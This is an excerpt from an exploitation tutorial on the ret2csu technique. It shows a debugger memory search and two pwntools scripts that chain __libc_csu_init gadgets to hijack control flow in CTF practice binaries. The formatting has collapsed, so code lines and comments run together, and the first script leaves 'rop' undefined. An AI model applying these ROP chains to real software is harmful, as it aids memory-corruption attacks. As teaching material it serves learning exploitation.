# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.htmlgef➤search-pattern0x400560[+] Searching '\x60\x05\x40' in memory[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x0x400e38-0x400e44→"\x60\x05\x40[...]"[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--0x600e38-0x600e44→"\x60\x05\x40[...]"
from pwn import*elf = context.binary =ELF('./vuln')p =process()POP_CHAIN =0x00401224# pop r12, r13, r14, r15, retREG_CALL =0x00401208# rdx, rsi, edi, call [r15 + rbx*8]RW_LOC =0x00404028rop.raw('A'*40)rop.gets(RW_LOC)rop.raw(POP_CHAIN)rop.raw(0)# r12rop.raw(0)# r13rop.raw(0xdeadbeefcafed00d)# r14 - popped into RDX!rop.raw(RW_LOC)# r15 - holds location of called function!rop.raw(REG_CALL)# all the movs, plus the callp.sendlineafter('me\n', rop.chain())p.sendline(p64(elf.sym['win']))# send to gets() so it's writtenprint(p.recvline())# should receive "Awesome work!"
以下漏洞是从 这个页面 提取的,其中使用了 ret2csu,但不是使用调用,而是 绕过比较并到达 ret 在调用之后:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/from pwn import*# Establish the target processtarget =process('./ret2csu')#gdb.attach(target, gdbscript = 'b * 0x4007b0')# Our two __libc_csu_init rop gadgetscsuGadget0 =p64(0x40089a)csuGadget1 =p64(0x400880)# Address of ret2win and _init pointerret2win =p64(0x4007b1)initPtr =p64(0x600e38)# Padding from start of input to saved return addresspayload ="0"*0x28# Our first gadget, and the values to be popped from the stack# Also a value of 0xf means it is a filler valuepayload += csuGadget0payload +=p64(0x0)# RBXpayload +=p64(0x1)# RBPpayload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`payload +=p64(0xf)# R13payload +=p64(0xf)# R14payload +=p64(0xdeadcafebabebeef)# R15 > soon to be RDX# Our second gadget, and the corresponding stack valuespayload += csuGadget1payload +=p64(0xf)# qword value for the ADD RSP, 0x8 adjustmentpayload +=p64(0xf)# RBXpayload +=p64(0xf)# RBPpayload +=p64(0xf)# R12payload +=p64(0xf)# R13payload +=p64(0xf)# R14payload +=p64(0xf)# R15# Finally the address of ret2winpayload += ret2win# Send the payloadtarget.sendline(payload)target.interactive()